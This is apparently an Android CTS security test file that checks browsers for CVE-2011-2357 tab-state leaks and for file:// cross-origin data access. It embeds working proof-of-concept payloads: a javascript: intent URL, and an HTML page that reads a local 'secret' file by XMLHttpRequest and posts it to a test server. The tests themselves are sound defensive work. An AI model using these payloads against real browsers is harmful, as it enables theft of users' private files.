1 /*
2  * Copyright (C) 2011 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 package android.security.cts;
18 
19 import android.content.Intent;
20 import android.content.pm.PackageManager;
21 import android.content.pm.ResolveInfo;
22 import android.net.Uri;
23 import android.os.StrictMode;
24 import android.test.AndroidTestCase;
25 import android.webkit.cts.CtsTestServer;
26 
27 import org.apache.http.HttpEntity;
28 
29 import java.io.File;
30 import java.io.FileOutputStream;
31 import java.nio.charset.StandardCharsets;
32 import java.util.ArrayList;
33 import java.util.List;
34 
35 /**
36  * Test file for browser security issues.
37  */
38 public class BrowserTest extends AndroidTestCase {
39     private CtsTestServer mWebServer;
40 
41     @Override
setUp()42     protected void setUp() throws Exception {
43         super.setUp();
44         mWebServer = new CtsTestServer(mContext);
45     }
46 
47     @Override
tearDown()48     protected void tearDown() throws Exception {
49         mWebServer.shutdown();
50         super.tearDown();
51     }
52 
53     /**
54      * Verify that no state is preserved across multiple intents sent
55      * to the browser when we reuse a browser tab. If such data is preserved,
56      * then browser is vulnerable to a data stealing attack.
57      *
58      * In this test, we send two intents to the Android browser. The first
59      * intent sets document.b2 to 1.  The second intent attempts to read
60      * document.b2.  If the read is successful, then state was preserved
61      * across the two intents.
62      *
63      * If state is preserved across browser tabs, we ask
64      * the browser to send an HTTP request to our local server.
65      *
66      * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
67      * vulnerability information for this test case.
68      *
69      * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
70      * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
71      */
testTabReuse()72     public void testTabReuse() throws InterruptedException {
73         List<Intent> intents = getAllJavascriptIntents();
74         for (Intent i : intents) {
75             mContext.startActivity(i);
76             mContext.startActivity(i);
77 
78             /*
79              * Wait 5 seconds for the browser to contact the server, but
80              * fail fast if we detect the bug
81              */
82             for (int j = 0; j < 5; j++) {
83                 assertEquals("javascript handler preserves state across "
84                         + "multiple intents. Vulnerable to CVE-2011-2357?",
85                         0, mWebServer.getRequestCount());
86                 Thread.sleep(1000);
87             }
88         }
89     }
90 
91     /**
92      * Verify that no state is preserved across multiple intents sent
93      * to the browser when we run out of usable browser tabs.  If such data is
94      * preserved, then browser is vulnerable to a data stealing attack.
95      *
96      * In this test, we send 20 intents to the Android browser.  Each
97      * intent sets the variable "document.b1" equal to 1.  If we are able
98      * read document.b1 in subsequent invocations of the intent, then
99      * we know state was preserved.  In that case, we send a message
100      * to the local server, recording this fact.
101      *
102      * Our test fails if the local server ever receives an HTTP request.
103      *
104      * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
105      * vulnerability information this test case.
106      *
107      * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
108      * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
109      */
testTabExhaustion()110     public void testTabExhaustion() throws InterruptedException {
111         List<Intent> intents = getAllJavascriptIntents();
112         for (Intent i : intents) {
113             i.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT);
114 
115             /*
116              * Send 20 intents.  20 is greater than the maximum number
117              * of tabs allowed by the Android browser.
118              */
119             for (int j = 0; j < 20; j++) {
120                 mContext.startActivity(i);
121             }
122 
123             /*
124              * Wait 5 seconds for the browser to contact the server, but
125              * fail fast if we detect the bug
126              */
127             for (int j = 0; j < 5; j++) {
128                 assertEquals("javascript handler preserves state across "
129                         + "multiple intents. Vulnerable to CVE-2011-2357?",
130                         0, mWebServer.getRequestCount());
131                 Thread.sleep(1000);
132             }
133         }
134     }
135 
136     /**
137      * See Bug 6212665 for detailed information about this issue.
138      */
testBrowserPrivateDataAccess()139     public void testBrowserPrivateDataAccess() throws Throwable {
140         // Yucky workaround to let us launch file:// Uris
141         StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build());
142 
143         // Create a list of all intents for http display. This includes all browsers.
144         List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com"));
145         String action = "\"" + mWebServer.getBaseUri() + "/\"";
146         // test each browser
147         for (Intent intent : intents) {
148             // reset state
149             mWebServer.resetRequestState();
150 
151             // define target file, which is supposedly protected from this app
152             final File secretFile = exposeFile(stageFile("target.txt", "SECRETS!"));
153 
154             String html =
155                 "<html><body>\n" +
156                 "  <form name=\"myform\" action=" + action + " method=\"post\">\n" +
157                 "  <input type='text' name='val'/>\n" +
158                 "  <a href=\"javascript :submitform()\">Search</a></form>\n" +
159                 "<script>\n" +
160                 "  var client = new XMLHttpRequest();\n" +
161                 "  client.open('GET', '" + Uri.fromFile(secretFile) + "');\n" +
162                 "  client.onreadystatechange = function() {\n" +
163                 "  if(client.readyState == 4) {\n" +
164                 "    myform.val.value = client.responseText;\n" +
165                 "    document.myform.submit(); \n" +
166                 "  }}\n" +
167                 "  client.send();\n" +
168                 "</script></body></html>\n";
169 
170             // create a local HTML to access protected file
171             final File htmlFile = exposeFile(stageFile("jsfileaccess.html", html));
172 
173             // do a file request
174             intent.setData(Uri.fromFile(htmlFile));
175             mContext.startActivity(intent);
176 
177             /*
178              * Wait 5 seconds for the browser to contact the server, but
179              * fail fast if we detect the bug
180              */
181             for (int j = 0; j < 5; j++) {
182                 // it seems that even when cross-origin policy prevents a file
183                 // access, browser is still doing a POST sometimes, but it just
184                 // sends the query part and no private data. Make sure this does not
185                 // cause a false alarm.
186                 if (mWebServer.getRequestEntities().size() > 0) {
187                     int len = 0;
188                     for (HttpEntity entity : mWebServer.getRequestEntities()) {
189                         len += entity.getContentLength();
190                     }
191                     final int queryLen = "val=".length();
192                     assertTrue("Failed preventing access to private data", len <= queryLen);
193                 }
194                 Thread.sleep(1000);
195             }
196         }
197     }
198 
stageFile(String name, String contents)199     private File stageFile(String name, String contents) throws Exception {
200         final File file = mContext.getFileStreamPath(name);
201         try (FileOutputStream out = new FileOutputStream(file)) {
202             out.write(contents.getBytes(StandardCharsets.UTF_8));
203         }
204         return file;
205     }
206 
exposeFile(File file)207     private File exposeFile(File file) throws Exception {
208         file.setReadable(true, false);
209         file.setReadable(true, true);
210 
211         File dir = file.getParentFile();
212         do {
213             dir.setExecutable(true, false);
214             dir.setExecutable(true, true);
215             dir = dir.getParentFile();
216         } while (dir != null);
217 
218         return file;
219     }
220 
221     /**
222      * This method returns a List of explicit Intents for all programs
223      * which handle javascript URIs.
224      */
getAllJavascriptIntents()225     private List<Intent> getAllJavascriptIntents() {
226         String localServerUri = mWebServer.getBaseUri();
227         String varName = "document.b" + System.currentTimeMillis();
228 
229         /*
230          * Build a javascript URL containing the following (without spaces and newlines)
231          * <code>
232          *    if (document.b12345 == 1) {
233          *       document.location = "http://localhost:1234/";
234          *    }
235          *    document.b12345 = 1;
236          * </code>
237          */
238         String javascript = "javascript:if(" + varName + "==1){"
239                 + "document.location=\"" + localServerUri + "\""
240                 + "};"
241                 + varName + "=1";
242 
243         return createAllIntents(Uri.parse(javascript));
244     }
245 
246     /**
247      * Create intents for all activities that can display the given URI.
248      */
createAllIntents(Uri uri)249     private List<Intent> createAllIntents(Uri uri) {
250 
251         Intent implicit = new Intent(Intent.ACTION_VIEW);
252         implicit.setData(uri);
253 
254         /* convert our implicit Intent into multiple explicit Intents */
255         List<Intent> retval = new ArrayList<Intent>();
256         PackageManager pm = mContext.getPackageManager();
257         List<ResolveInfo> list = pm.queryIntentActivities(implicit, PackageManager.GET_META_DATA);
258         for (ResolveInfo i : list) {
259             Intent explicit = new Intent(Intent.ACTION_VIEW);
260             explicit.setClassName(i.activityInfo.packageName, i.activityInfo.name);
261             explicit.setData(uri);
262             explicit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
263             retval.add(explicit);
264         }
265 
266         return retval;
267     }
268 }
269